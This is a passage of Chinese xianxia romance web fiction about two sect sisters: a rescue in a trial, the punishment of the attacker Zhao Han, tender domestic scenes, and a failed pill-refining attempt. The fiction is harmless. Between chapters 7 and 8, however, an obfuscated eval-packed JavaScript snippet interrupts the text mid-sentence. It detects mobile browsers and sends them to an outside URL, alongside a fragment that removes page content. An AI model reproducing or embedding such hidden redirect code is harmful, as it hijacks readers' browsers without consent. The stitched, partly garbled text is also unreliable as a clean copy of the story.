但此刻,赤凰却出现在了这裡。
跨越数百里的距离,穿越万兽荒原的重重迷障,精准地找到了她,在千钧一髮之际替她挡下了致命的一击。
月瑶颤抖著伸出手,握住了赤凰的剑柄。
剑身滚烫,像是握著一团温热的火焰。但那股火焰没有烧伤她,而是温顺地缠绕上她的手腕,与凌凊剑的寒气交织在一起,冰与火在她身周形成了一道奇异的屏障。
在握住赤凰的那一瞬间,月瑶「看到」了一些东西。
不是用眼睛看到的,而是透过剑灵感受到的——秦凤兮坐在山巅的洞府中,面前摊著一张万兽荒原的地图,地图上用灵力标注著每一个弟子的位置。她的手按在赤凰原本所在的位置——剑架上,那裡现在空空如也。
她在百里之外,操控著赤凰跨空而至。
月瑶的眼泪一下就涌了出来。
与此同时,昆灵宗山巅。
秦凤兮猛地睁开眼睛。
她感应到了——赤凰挡下了那一剑,但赵寒还没有死。他正从废墟中爬起来,左手从袖中摸出一柄匕首,匕首上淬著幽绿色的毒液,在夜色中泛著诡异的光。
她的脸色瞬间沉了下去。
不是愤怒,而是一种比愤怒更可怕的东西——冷。
冷到极致的杀意。
她站起身,推开窗户,脚尖一点,整个人化作一道流光向万兽荒原的方向掠去。风在耳边呼啸,山川在脚下飞速后退,她的速度快到空气都在震颤,快到她身后拖曳出的冰蓝色尾迹将夜空划开了一道长长的裂缝。
但她知道,来不及。
百里之遥,就算她拼尽全力,也需要至少半盏茶的工夫。而半盏茶的时间,足够赵寒将那柄淬毒的匕首刺入月瑶的心脏一百次。
秦凤兮的眼睛裡有什麽东西在碎裂。
那是她维持了二十年的冷静、理智、克制,在这一刻全部崩塌。她体内的魔凰血脉感受到了主人失控的情绪,开始疯狂地躁动,漆黑的魔气从她周身涌出,与冰蓝色的灵力纠缠在一起,将她变成了一颗黑白交织的流星。
她要赶到。
她必须赶到。
但在她赶到之前——
万兽荒原的密林中,月瑶握著赤凰和凌凊,看著满身是血从废墟中爬起来的赵寒。
赵寒的眼睛裡已经没有了怨恨,只剩疯狂。他的右臂废了,赤炎剑碎了,但他还有一柄淬毒的匕首,还有一条命。他用这条命换月瑶的命,在他看来,值。
“去死吧——”
他扑了过来。
月瑶闭上了眼睛。
不是放弃,而是在那一瞬间,她听到了剑的声音。
不是凌凊,不是赤凰,而是另一种更古老的、更磅礴的声音——从赤凰剑深处传来,像是远古凤凰的鸣叫,穿越了千万年的时光,在她脑海中轰然炸响。
她睁开眼睛。
琥珀色的瞳孔中映出了火焰的颜色。
赤凰剑动了。
不是月瑶在挥剑,而是剑带著月瑶在动。一股炽热的、狂暴的、足以焚尽世间一切的力量从剑身中涌出,顺著月瑶的手臂灌入她的经脉,与她体内的极阴之力碰撞、融合,爆发出惊天动地的光芒。
一道赤金色的剑气横扫而出。
不是斩向赵寒。
而是冲天而起。
那道剑气如同一条赤金色的火龙,从密林中咆哮著冲上夜空,将万兽荒原上空的云层撕裂开一个巨大的缺口。光芒之盛,方圆数百里内的所有生灵都看到了。
赵寒被剑气的馀波震飞出去,淬毒的匕首脱手飞出,整个人撞在一块巨石上,喷出一口鲜血,直接昏死过去。
月瑶站在原地,双手握著赤凰,大口大口地喘著气。
她的身体在发抖,经脉在灼烧,极阴之力与赤凰的火焰在她体内激烈衝突,疼得她几乎要晕过去。但她没有鬆手。
因为她知道,一旦鬆手,这柄剑就会回到那个人的身边。
而那个人,正拼了命地向她赶来。
她不能让那个人担心。
秦凤兮赶到的时候,看到的是这样一幅画面。
月瑶靠在一棵被劈断的古树下,左手凌凊,右手赤凰,两柄剑插在她身前的泥土中,像是两面旗帜。她的道袍破了几个口子,右肩和嘴角都有血迹,整个人看起来狼狈极了。
但她还活著。
她睁著那双琥珀色的眼睛,看到秦凤兮从天而降的身影时,笑了。
那笑容虚弱得像风中残烛,却亮得让秦凤兮心口一窒。
“师姐,”月瑶的声音沙哑得几乎听不清,“你的剑……真厉害。”
秦凤兮没有说话。
她跪在月瑶面前,双手颤抖著捧起那张满是灰尘和血迹的脸,浅色的眼睛裡有什麽东西在翻涌。不是泪水——她不会在月瑶面前哭——而是更深、更浓、更炽烈的情绪,像是压抑了千万年的火山终于找到了喷发的缝隙。
她张了张嘴,想说很多话。
你怎麽这麽不小心。我说了不让你去。你知不知道我有多害怕。
但她最终只说了一句。
“活著就好…”
月瑶靠在她怀裡,听著那颗狂乱的心跳,轻轻地「嗯」了一声。
赵寒被秦凤兮一掌拍碎丹田的消息,在第二日传遍了整个昆灵宗。
但真正让所有人震惊的,是掌门无尘真人的反应。
无尘真人活了四百馀年,向来以脾气温和著称,弟子们从未见他发过火。但这一天,他亲自主持了对赵寒的审判,全程面色铁青,一言不发。
直到赵寒被押上审判台,无尘真人开口了。
他的声音并不大,但每一个字都像是千钧之锤,砸在在场每个人的心口。
“内门弟子赵寒,在内门大比中狭怨报复,意图谋杀同门,罪不可赦!“
”废除修为,逐出宗门,永不录用!“
赵寒瞬间瘫软在地,面如死灰。废除修为——对于一个修士来说,这远比死刑更加残酷。
但无尘真人还没有说完。
他转向在场的所有内门弟子,目光如电,扫过每一个人的脸。
”我知道,在你们中间,有人觉得月瑶不配留在内门,有人觉得她只是一个被凤兮养著的药引子,有人甚至觉得她死了也无关紧要。“
没有人敢说话。
”我告诉你们,“无尘真人的声音忽然拔高,鬚髮皆张,半步大乘期的威压毫无保留地释放出来,压得在场所有人包括几位长老都齐齐变了脸色,”月瑶是我昆灵宗的弟子。她为宗门承受取血之苦,却从未有一句怨言。这样的弟子,谁敢动她一根头髮——“
他一掌拍在身旁的石柱上,那根三人合抱粗的玄金石柱应声碎裂,化作一地的碎石。
”便是与我无尘为敌。“
全场死寂。
没有人敢呼吸。
无尘真人收回威压,恢复了那副温和老者模样,拂袖转身离去。
但他最后一句话,在风中久久不散。
”把这件事,给我查清楚。赵寒一个金丹期的弟子,没有同谋,不可能在试炼中精准找到月瑶的位置。谁在背后帮他,一个都别想跑。“
几位长老的脸色在那一瞬间变得极为精彩。
当天夜裡,秦凤兮的寝殿。
月瑶躺在石榻上,身上盖著秦凤兮的被子,怀裡抱著莹莹,手边放著凌凊和赤凰。她的伤已经被秦凤兮处理过了,雪蟾续骨膏涂满了整个右肩,伤口正在以肉眼可见的速度癒合。
秦凤兮坐在榻边,手中端著一碗温热的灵药,用银匙轻轻搅动。
”师姐,“月瑶忽然开口,声音还有些虚弱,”赤凰为什麽会认我?“
秦凤兮搅动药匙的手顿了一下。
”它没有认你,“她说,“它只是……听我的话。”
”可神器不是只认主吗?“
秦凤兮沉默了片刻。
”赤凰的认主条件比较特殊,“她的声音很轻,”它认的不是灵力属性,而是……主人的心意。“
月瑶眨了眨眼,没有听懂。
秦凤兮没有再解释,只是将药碗递到她唇边:”先喝药。“
月瑶乖乖张嘴,喝了一口,苦得皱起了脸。
莹莹在她怀裡翻了个身,用小爪子拍了拍她的手背,像是在安慰她。
月瑶低头看著莹莹,忽然笑了。
”师姐,你知道吗?赤凰飞过来的时候,我以为是你在我身边。“
秦凤兮的手指微微一紧。
”那一刻我就不害怕了,“月瑶闭上眼睛,声音越来越轻,“因为我知道……你一定不会让我死的……”
药碗见了底,月瑶也沉沉睡去了。
秦凤兮将空碗放在床头,静静地看了她很久。
月光下,月瑶的睡颜安静而恬淡,嘴角还挂著一丝浅浅的笑意。莹莹蜷在她怀裡,小脑袋枕著她的手臂,粉色的绒毛随著呼吸轻轻起伏。
秦凤兮伸出手,小心翼翼地将月瑶额前的碎髮拨到耳后。
指尖触到那温热的皮肤时,她的手指轻轻颤了一下。
“月瑶,”她低声说,声音轻得像一声叹息,“我不会让任何人伤害你。”
“任何人…”
窗外月光如水,将这句承诺无声地刻进了漫漫长夜。
7. 宠的没边
月瑶发现了一个秘密。
秦凤兮很怕她撒娇…应该说对她撒娇时毫无抵抗力。
这件事情的发现纯属意外。那日取血后,月瑶心口的伤口比往常疼得更厉害些,她躺在床上不想动,秦凤兮来送浮灵果时,她便懒洋洋地伸出一隻手,哼哼唧唧地说了一句:“师姐,我手还疼,你喂我。”
她本是随口一说,压根没指望秦凤兮会理她。
谁知秦凤兮在床边站了片刻,竟真的坐了下来。她从玉盒中取出浮灵果,掰成小块,一块一块地送到月瑶嘴边。月瑶吃惊得差点被噎住,瞪大眼睛看著秦凤兮那张依旧清冷的面容,试图从上面找出一丝勉强的痕迹。
没有。
秦凤兮的表情平静得像一潭死水,但她喂灵果的动作极慢极轻,像是怕月瑶咬到她的手指。每一块都要等到月瑶完全咽下去了,再接著递上下一块。
月瑶嚼著灵果,心裡炸开了烟花。
从那天起,她就像一隻发现了主人弱点的小狐狸,开始变的有恃无恐了起来。
撒娇这件事,月瑶确实信手拈来。
她从小在底层摸爬滚打,察言观色是刻进骨子裡的本能。她太清楚什麽样的语气会让人心软,什麽样的眼神会让人妥协,什麽时候该哼哼唧唧,什麽时候该得寸进尺。
这些本领她从前不屑用,因为没人值得她费这个心思。但对著秦凤兮,她用的那叫一个顺手。
清晨,秦凤兮来送灵药。
月瑶还窝在被褥裡,只露出一张脸和一隻手。她从被子裡伸出一根手指,勾住秦凤兮的袖角,轻轻拽了拽。
“师姐,人家今天不想喝药,苦。”
秦凤兮端著药碗低头看她。那双浅色的眼睛在月瑶的脸上停留片刻,没有说话,只是从袖中取出一隻小瓷瓶,倒出一粒蜜渍灵果乾,放在药碗旁边。
月瑶的眼睛亮了。
她乖乖端起药碗,咕咚咕咚喝得乾乾淨淨,然后捏起那粒蜜渍灵果乾塞进嘴裡,含含糊糊地说:“师姐最好了!”
秦凤兮没有回应,但收碗的时候,月瑶看到她的耳尖红了。
在专心修炼时,月瑶又开始作妖。
她盘腿坐在灵泉边,运转了两个周天后,忽然睁开眼睛,转头看向在一旁护法的秦凤兮。
“师姐,我灵力不够用了。”
秦凤兮微微蹙眉:“月瑶,你的灵力应该还充足——”
“不够就是不够。”月瑶理直气壮地打断她,然后伸出了双手,掌心朝上,像个讨糖吃的孩子,“师姐渡我一点嘛。”
秦凤兮看著那双摊开的掌心,沉默了好一会儿。
最终她还是伸出手,与月瑶掌心相对,将精纯的本命灵力缓缓渡了过去。
月瑶一边吸收灵力,一边偷看秦凤兮的表情。那张清冷的脸上没有任何波澜,但月瑶注意到,她垂下的眼睫毛在轻轻颤动,像蝴蝶扇动翅膀。
月瑶又在心裡偷笑。
练剑时更是不得了。
秦凤兮亲自教月瑶剑法——当然不是因为月瑶主动要求,而是上次试炼的事让秦凤兮意识到,月瑶确实需要学会保护自己。
凌凊剑握在月瑶手中,她照著秦凤兮教的招式比划了两下,第三下就开始偷懒。
“师姐,这一招我总是做不好?”
秦凤兮走过来,站在她身后,伸手纠正她握剑的姿势。她的手覆在月瑶的手背上,冰凉的触感让月瑶打了个小小的颤。
“手腕抬高,剑尖指向对方咽喉——”
月瑶根本没在听。
秦凤兮离她太近了。那股冷香将她整个人笼罩其中,秦凤兮的呼吸拂过她的耳廓,痒痒的,麻麻的,让她的半边身体都软了下来。她能感觉到身后那人温热的体温隔著衣料传过来,能感觉到那隻手正稳稳地带著她调整剑势。
“懂了吗?”秦凤兮问。
“懂了。”月瑶说。
其实…她压根没懂。她满脑子都是「凤兮师姐在我身后凤兮师姐的手好凉凤兮师姐的呼吸好近」。
秦凤兮鬆开手,退后一步:“那你自己练一遍。”
月瑶举起剑,比划了一下,姿势歪得离谱。
秦凤兮沉默了。
“月瑶,你方才说你懂了。”
“我懂了呀,”月瑶转过头来,笑得无辜极了,“但我心裡懂了和我的手懂了是两回事。”
得!这逻辑清奇得让秦凤兮无言以对。
她又走上前,重新握住月瑶的手。这一次她多停留了片刻,带著月瑶完整地练了三遍那一招,每一遍都比上一遍更慢,更仔细。
月瑶心想:早知道就说不懂了,能多蹭一会儿。
撒娇的最高境界,便是连她自己都没意识到自己在撒娇。
那日月瑶和莹莹在洞府门口玩了一下午,莹莹追著自己的尾巴转圈,月瑶在旁边笑得前仰后合。笑累了,她便往后一仰,顺势靠在了正坐在一旁看书的秦凤兮肩上。
这动作自然得像呼吸。
秦凤兮翻书页的手指顿了一下,没有推开她。
月瑶靠在她肩上,眯起眼睛看著天边的晚霞,莹莹跳上来蜷在她怀裡,一人一狐都懒洋洋的。
“师姐,”月瑶闭著眼睛说,“你身上好香呀!”
”……嗯。“
“莹莹也好香。”
“嗯。”
“我今天不想回去吃饭了,师姐这裡有吃的吗?”
“有。”
“我想吃师姐亲手做的。”
秦凤兮翻书页的手又顿了一下。
“我不太会做饭…”
“那我教你呀。”
秦凤兮低头看了她一眼。月瑶靠在她肩上,连眼睛都没睁开,但是嘴角挂著一个懒洋洋的笑,像一隻晒够了太阳的小猫,浑身上下都透著一种理直气壮的舒适。
秦凤兮盯著那张脸看了好一会儿,最终合上了书。
“行了,走吧。”
月瑶睁开眼睛:“去哪?”
“去膳房。你教我。”
月瑶愣了一下,随即笑开了花。她从秦凤兮肩上弹起来,一把抱起莹莹就往外跑,跑出去两步又跑回来,一把拽住秦凤兮的袖子。
“师姐快点快点!”
秦凤兮被她拽著往前走,衣袍被扯得歪歪斜斜,发冠都歪了一点。她没有挣脱,甚至没有让月瑶慢一点。
她就那麽被拽著,走进了膳房。
膳房裡,月瑶繫上了围裙,袖子挽到手肘,露出一截细白的小臂。她指挥秦凤兮洗灵菜、切灵果,秦凤兮做这些事的时候表情认真得像在修炼,切出来的灵菜大小均匀,整整齐齐地码在案板上。
月瑶忍不住笑:“师姐,你切菜的样子好像在练剑。”
秦凤兮头也没抬:“练剑和切菜,本质都是控制。”
“那你控制一下火候,别把菜炒糊了。”
秦凤兮沉默了一瞬:“火候…不在我的控制范围内。”
最后还是月瑶掌的勺。她在灶台前忙碌,秦凤兮就站在旁边看著,偶尔递个调料、接个盘子。莹莹蹲在灶台边的凳子上,粉色的眼睛一眨不眨地盯著锅裡的菜,小尾巴摇个不停。
“师姐,你尝尝。”
月瑶夹了一筷子菜,吹了吹,递到秦凤兮嘴边。
秦凤兮低头看著那双筷子,筷子是月瑶用过的,上面还沾著一点月瑶唇上的油脂。她顿了顿,张嘴接过了那口菜。
“好吃吗?”月瑶问,眼睛亮晶晶的。
“……嗯。”
“你就只会说嗯。”
“好吃。”
月瑶的嘴角翘得老高,转过身去继续炒菜,耳根红红的。
她没有看到的是,秦凤兮站在她身后,咀嚼著那口菜,浅色的眼睛裡漾开了一层极淡极淡的笑意。
那笑意很浅,浅到几乎不存在。
但它持久得不可思议,直到晚饭结束、直到她们吃完了整桌菜、直到月瑶抱著莹莹靠在椅子上打饱嗝——秦凤兮嘴角那个弧度,始终没有消失。
夜裡,月瑶该回自己的寝居了。
她站在门口,依依不捨地抱著莹莹,把脸埋在它粉色的绒毛裡蹭了又蹭。莹莹被她蹭得毛都乱了,但没有挣扎,甚至用小小的爪子拍了拍月瑶的脸,像是在说「明天再来」。
“师姐,我回去了…”
“嗯。”
“明天我还来。”
“嗯。”
“你不想我来吗?”
秦凤兮没有立刻回答。她看著月瑶,月光将那双琥珀色的眼睛映得格外明亮,裡面盛满了期待,还有一些她读不懂的、更複杂的东西。
“想。”秦凤兮说。
只有一个字。
但月瑶的脸上像是绽开了一朵花,笑得比月光还亮。她把莹莹塞回秦凤兮怀裡,转身跑了两步,又忽然折返回来,踮起脚尖,在秦凤兮的脸颊上飞快地啄了一下。
“晚安,师姐!”
然后她真的跑了。
这一次跑得飞快,像身后有什麽东西在追她。
秦凤兮站在原地,手裡抱著莹莹,脸颊上还残留著那一触即分的温热触感。
莹莹仰头看著主人那张依旧没有表情的脸,伸出肉肉的小爪子碰了碰她的下巴。
秦凤兮低下头,看著莹莹。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590590|205443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“莹莹…她亲我了。”她说,语气平静得像在陈述一个事实。
莹莹摇了摇尾巴,“嘤嘤!”
秦凤兮抱著莹莹转身走回寝殿,她的步伐稳健如常。但在关上门的那一刻,她靠在了门板上,慢慢地、慢慢地弯起了嘴角。
那不是一个「极淡极淡」的笑容。
那是一个真真切切的、从心底溢出来的、怎麽也藏不住的笑容。
如果月瑶此刻在场,一定会被这个笑容惊得说不出话来。
可惜她不在。
只有莹莹看到了。
莹莹用两隻小爪子捂住了自己的眼睛,尾巴却在身后摇成了一朵花。
日子就这麽一天天过去,不变的是,月瑶的撒娇越来越得寸进尺,而秦凤兮的纵容也越来越没有底线。
月瑶说「师姐我今天不想走路」,秦凤兮就背著她走过整条山道。月瑶说「师姐这件衣服好看吗」,秦凤兮就认真地从头看到脚,然后说「好看」。月瑶说「师姐我想吃糖葫芦」,第二天一早洞府门口就挂了一串用灵果做的糖葫芦,比凡间的甜十倍。
连无尘真人都看不下去了。
一日,他在山道上遇到秦凤兮,难得开了句玩笑:“凤兮,你再这麽宠下去,那丫头怕是要骑到你头上去了。”
秦凤兮看了他一眼,语气平静:“那也无妨,她开心就好。”
无尘真人捋了捋鬍鬚,摇头歎息著走了。
走出十几步后,他忽然笑了,笑得像个看著晚辈长大的普通老人。
“年轻啊,”他自言自语,“真是年轻。”
这日,月瑶又赖在秦凤兮的寝殿不走。
她几乎霸佔了整张石榻,身上盖著秦凤兮的被子,怀裡抱著莹莹,手边放著凌凊剑——不知道什麽时候起,凌凊剑已经从秦凤兮的随身佩剑变成了月瑶的专属玩具,剑灵似乎也习惯了这种待遇,时不时震动一下,发出温柔的嗡鸣。
秦凤兮坐在书案前批文书,时不时抬眼看一下榻上那团鼓鼓囊囊的被褥。
“师姐,”被褥裡传来月瑶闷闷的声音,“你过来一下。”
秦凤兮放下毛笔,走过去:“怎麽了?”
被子掀开一角,露出月瑶那张泛著红晕的脸。她拍了拍身边的位置:“躺下。”
秦凤兮看著那张被褥,又看了看月瑶认真的表情,沉默了片刻。
她还是躺下了。
可石榻本就不大,两个人躺在一起,几乎是肩挨著肩。月瑶翻过身来,把脸埋在秦凤兮的肩窝裡,像隻小猫一样蹭了蹭。
秦凤兮的身体明显僵了一下。
“师姐,你今天取血的时候弄疼我了。”
秦凤兮的手指蜷缩起来:“……对不起。”
“没关係…我没怪你,”月瑶的声音闷闷的,带著一点委屈的鼻音,“我就是想告诉你,疼。”
秦凤兮的手抬起来,在半空中悬了很久,最终轻轻落在了月瑶的后脑勺上,温柔地、缓缓地抚摸著她的头髮。
“以后我会更小心,不会再让你这麽疼了…”
月瑶在她肩窝裡闷笑了一声:“师姐,你知不知道你现在的样子,跟之前刚开始取血的时候完全不一样了。”
“哪裡不一样?”
“那个时候你凶得很,取完血就把我赶走,连看都不多看一眼。”
秦凤兮沉默了一瞬:“……那时候不敢看。”
“不敢?”
“怕看了就捨不得。”
月瑶从她肩窝裡抬起头来,琥珀色的眼睛直直地看著她。月光从窗口照进来,将秦凤兮那张清冷的面容映得有些朦胧,像是一幅被水汽氤氲过的画。
“那你现在捨得了吗?”月瑶问。
秦凤兮看著那双近在咫尺的眼睛,浅色的瞳孔裡倒映著月瑶的脸。
“捨不得,”她说,“但已经来不及了。”
月瑶笑了,笑得眉眼弯弯,笑得眼裡泛起了水光。她把脸重新埋进秦凤兮的肩窝,双手紧紧环住了她的腰。
“那就别捨得,”月瑶的声音闷闷的,带著鼻音,“一辈子都别捨得。”
秦凤兮没有回答。
但她的手臂收紧了,将月瑶整个人拢进怀裡。那力道很轻,轻得像怕弄碎什麽,却又很紧,紧得像在抓握这个世界上最珍贵的东西。
莹莹被挤在中间,「嘤」了一声,但没有人理它。
它只好努力把自己压扁,从两个人之间挤了出来,跳到枕头旁边,蜷成一个粉色的绒球。
它看了一眼抱在一起的两个人,又看了一眼月光,然后满足地闭上了眼睛。
主人的怀抱,终于不冷了。
8. 炼丹
秦凤兮要练丹。
这件事情是月瑶先发现的——准确来说,是莹莹发现的。那日清晨,那只粉晶色的小狐狸蹲在寝殿门口,歪着小脑袋朝丹房的方向嗅了嗅,然后”嘤“地叫了一声,转身用尾巴狂甩月瑶的脚踝。
“莹莹~怎么了?”月瑶正蹲在地上给灵果削皮,刀刃顿住,“凤兮师姐在丹房吗?”
莹莹疯狂点头,两只小爪子不断扒拉她的裙摆,小家伙急得跳起来直转圈。
月瑶擦了手走过去,隔着丹房的禁制,隐约闻到一股焦糊味——不是灵药烧焦的那种苦涩,而是更浓烈、更……灼烫的东西,像是火焰被压缩到极致后释放的躁意。
“凤兮师姐?”月瑶轻轻叩了叩门。
里面并没回应。
又过了片刻,月瑶等的有些急了,此时,禁制才终于从内部消散。门开了一条缝,秦凤兮站在门后,白衣袖口沾了些许暗色的灰烬,浅色的瞳孔里映着丹室内尚未熄灭的幽蓝火焰。
秦凤兮看上去没什么异样,甚至还微微侧了侧身,似是刻意要挡住什么。
“放心,我没事。”秦凤兮说,声音比平时低了些,“你去忙。”
月瑶没有动,她知道秦凤兮没说实话。
她踮起脚尖,越过秦凤兮的肩膀往里看了一眼——丹炉倒扣在地上,炉身都裂开了三道缝,缝隙里渗出黑色的焦油状液体,此刻正沿着地面的灵纹缓缓蔓延。空气中那股滚烫灼人的躁意浓得几乎凝成实质,像是有一头看不见的野兽蹲在丹室角落,正低低地喘息。
秦凤兮的左手仍紧紧背在身后,指节捏得发白。
“师姐,手怎么了?”月瑶问。
“我没——”
月瑶却已经伸手抓住了她的手腕,拽到面前。
秦凤兮的掌心有一道烧伤。不是普通的烫伤——伤口呈现出一种诡异的紫黑色,像是火焰从内部向外燃烧,将皮肤烧成了半透明的薄膜,底下隐约能看到殷红的血肉和……某种蠕动的、暗色的东西。
这是…魔气。
月瑶的瞳孔猛然缩了一下。
她见过这种伤。上个月秦凤兮给她看关于极阴之体的玉简时,顺手翻过几页关于魔凰血脉的记载——魔凰之火与寻常丹火不同,它烧的不是灵力,不是血肉,而是经脉。一旦失控,火焰会沿着经脉逆行,从内向外焚烧修士的根本。
“你究竟在练什么丹?”月瑶问,声音比她自己预想的要平静。
秦凤兮沉默了一瞬,终是开口。
“这是……续骨丹。”她微微叹息。
月瑶愣了一下。续骨丹她知道——入门弟子必背的丹方之一,三品丹药,功效是修复断裂的骨骼。品阶不高,材料也不稀缺,昆灵宗的丹房里随便抓一个内门弟子都能炼。
秦凤兮,半步元婴的秦凤兮,昆灵宗首座弟子,为了一个三品丹药把自己的丹炉炸了?
“续骨丹?”月瑶重复了一遍,语气里没有嘲讽,只有一种让人心里发紧的、过于平静的疑惑,“你炼续骨丹做什么?”
秦凤兮没有回答。
她只是轻轻抽回手,用袖子盖住掌心的伤口,侧过身往丹室里走了两步,弯腰去捡地上的碎片。动作很自然,像是在收拾一件不值一提的小事。
月瑶站在门口,看着她的背影,忽然就明白了,续骨丹,修复骨骼。
月瑶低头看了一眼自己的手。她的骨骼是冰蓝色的,透明的,万中无一的极阴至寒之骨。每次取心头血,骨髓就会减少一分。三个月,每半个月三滴,她已经被取了——她掰着手指数了一下——十八滴。
「十八滴心头血。」
掌门送的浮灵果补回了三滴的损耗,但剩下的十五滴,是实实在在地从她的骨头里挖出去的。
月瑶忽然觉得嗓子有点干,鼻头微微发酸。
“你在炼续骨丹,”她慢慢地说,每个字都像是在舌尖上过了一遍才吐出来,“给我的…”
闻言,秦凤兮捡碎片的动作顿住了。
她没有转身,但月瑶看到她的耳尖红了一点——很淡的红,像是冰面上落了一片桃花瓣,稍纵即逝。
“月瑶……你修为太低,”秦凤兮的声音依旧平淡,平淡得像在说今天的天气,“续骨丹能固本培元,对你的骨骼有好处。”
月瑶推到门边。
她靠在门框上,歪着脑袋看秦凤兮收拾残局。半步元婴的修士蹲在地上捡丹炉碎片,白衣沾了灰,束发的玉冠歪了一点,甚至耳尖上那抹红还没退干净。
月瑶忽然想起一件事——上个月她练剑时崴了脚,秦凤兮二话不说背她走过整条山道。她趴在秦凤兮背上,闻到她发间清冽的雪松香,还故意蹭了蹭,说「凤兮师姐的背好暖」。
那时候秦凤兮的耳朵也是这样红的。
“师姐,炼了几炉了?”月瑶问。
秦凤兮有些心虚。
月瑶径直走进丹室,绕过倒扣的丹炉,看到角落里堆着一堆漆黑的废渣——有丹药的残骸,有烧焦的药材,还有几块裂成碎片的灵石。她数了一下废渣的数量,心里大概有了数。
四炉。至少四炉了。
“今日四炉了,”她说,“可一炉都没成…“秦凤兮终于抬起头看她,浅色的眸子里映着月瑶的脸,表情淡淡的,但眼底有一层极薄的、近乎透明的水光。
”我一定会炼成的。“她非常坚定。
不是「我试试」,也不是「大概可以」,而是我会炼成的。那样的语气,像是她已经在心里对自己说过无数遍这句话,重复到连她自己都信了。
月瑶盯着她看了一会儿,忽然蹲下来,从袖子里掏出一块手帕,拉过秦凤兮的手,动作很轻地擦掉她掌心的灰烬和焦油。
”你炼不好续骨丹,“月瑶一边擦一边说,语气像是在哄小孩,”是因为你太心急了。“
秦凤兮的睫毛轻轻颤了一下。”我才没有急…“
”你有。”月瑶抬起头,琥珀色的眼睛直直地盯着她,“你可是半步元婴,你能炼五品六品的极品灵丹,你为什么连三品的续骨丹都炼不好?是因为你怕。你怕我的骨头撑不到你把丹炼成的那一天,所以你每一炉都往里拼命加灵力,加到你自己的经脉都承受不住,加到你体内的魔凰之火都被激发出来。”
她停了一下,声音轻下去,“凤兮师姐,我不怕死。”
秦凤兮的手指骤然收紧,捏住了月瑶的手帕,指节发白。
”……可我怕。“她说。
几个字,轻得如同风吹过冰面。
丹室里安静了很长时间。幽蓝的丹火在角落的灯台上摇曳,将两个人的影子投在墙上,交叠在一起。
月瑶忽然笑了,她笑得很好看,琥珀色的眼睛弯成月牙,露出一点点虎牙,像是春天里第一朵破冰而出的花。
“那你要快点炼出来啊,”她说,“我等着用你的续骨丹呢。”
她把秦凤兮从地上拉起来,拍了拍她袖子上的灰,又踮起脚尖,帮她把歪掉的玉冠扶正。
“不过今天先别炼了,”月瑶歪着头,“你手都伤了,得先上药。”
秦凤兮低头看着自己被月瑶握住的手,沉默了片刻,才轻轻「嗯」了一声。
月瑶牵着她走出丹室,经过寝殿门口时,莹莹正蹲在那儿舔爪子。粉晶色的小狐狸抬头看了她们一眼,打了个呵欠,又把脑袋埋进尾巴里。
“对了,”月瑶忽然回头,“凤兮师姐。”
“嗯?”秦凤兮抬头。
“你是不是该谢谢我?”
秦凤兮微微一愣:“谢你什么?”
“谢我刚才没说你笨啊,”月瑶眨了眨眼,“炼了四炉都炼不好,换了别人我早笑话他了。”
秦凤兮看着她,唇角微微弯了一下——很浅很浅的弧度,但月瑶看见了。
“……谢谢。”
“不客气。”月瑶笑嘻嘻的,牵着她的手往前走,走了两步又回头,“不过说真的,凤兮师姐,你炼丹的时候是不是没放甘草?”
秦凤兮顿住:“……什么?”
“续骨丹的方子里要放甘草的,”月瑶认真地说,“我之前还在外门的时候看过丹方,甘草能中和药性,不然丹药会太燥,很容易炸炉。”
秦凤兮沉默了,她沉默了很长时间,长到月瑶开始怀疑自己是不是说错了什么,长到莹莹都从尾巴里抬起头来看她们。
然后秦凤兮闭了一下眼睛,声音里有一种月瑶从未听过的、近乎自嘲的疲倦,“……我忘了。”
半步元婴,昆灵宗首座弟子,炼了四炉续骨丹,居然会着急的忘了放甘草。
月瑶忍了两息,没忍住,笑了出来,她笑得很放肆,弯着腰,眼泪都快出来了,笑声在洞府的长廊里回荡,惊得莹莹「啾」地一声跳起来。
秦凤兮站在那儿,耳尖都红透了,“不许笑。”
“我没笑——哈哈哈哈——”
“月瑶!”
“好好好我不笑了——”月瑶抹着眼泪直起身,嘴角还是压不下去,眼睛亮晶晶的,“凤兮师姐,你下次炼丹叫我呗,我在旁边看着,保证你不会再忘放东西。”
秦凤兮看着她,看着她笑弯的眼睛,看着她因为大笑而微微泛红的脸颊,看着她嘴角那颗小小的痣,心口某个地方,像是被什么柔软的东西轻轻撞了一下。
“好。”她说。
当天晚上,月瑶靠在秦凤兮肩上看了会儿晚霞,忽然想起什么,转头问:”凤兮师姐,续骨丹你还要炼多久?“
秦凤兮看着天边最后一抹橘红色的光,沉默了片刻。
”很快。“
”很快是多快?“
”……到你需要的时候,一定会有。“
月瑶「哦」了一声,把脑袋重新靠回她肩上,闭上眼睛。
晚风吹过山巅,带着远处雪峰的寒意和灵药园里淡淡的草木香。莹莹蜷在月瑶膝上,发出细细的呼噜声。
”凤兮师姐。“
”嗯。“
”你不用着急。“
秦凤兮没说话,只是抬起手,轻轻覆上了月瑶搭在她臂弯上的手背,掌心那道烧伤还没好,隔着薄薄的药膏,月瑶能感觉到她掌心的温度——比平时热一些,像是丹室里那簇幽蓝的火焰,仍然在她体内静静地燃烧,但是她没有躲开,也不想躲开…
”嗯。“秦凤兮回答。
秦凤兮终于炼成了,那是第三日黄昏,月瑶正蹲在灵药园里拔草,忽然听到洞府深处传来一声沉闷的轰鸣——不是爆炸,是丹炉打开时灵气冲出的嗡鸣,带着一股清苦的药香,像深秋的风穿过枯黄的草叶。
她扔下手里的草就跑。
丹房的门大敞着,秦凤兮站在丹炉前,手里托着一枚鸽卵大小的丹药。丹色青白,表面有细密的纹路,像是冰面上的裂痕,隐隐泛着微光。
月
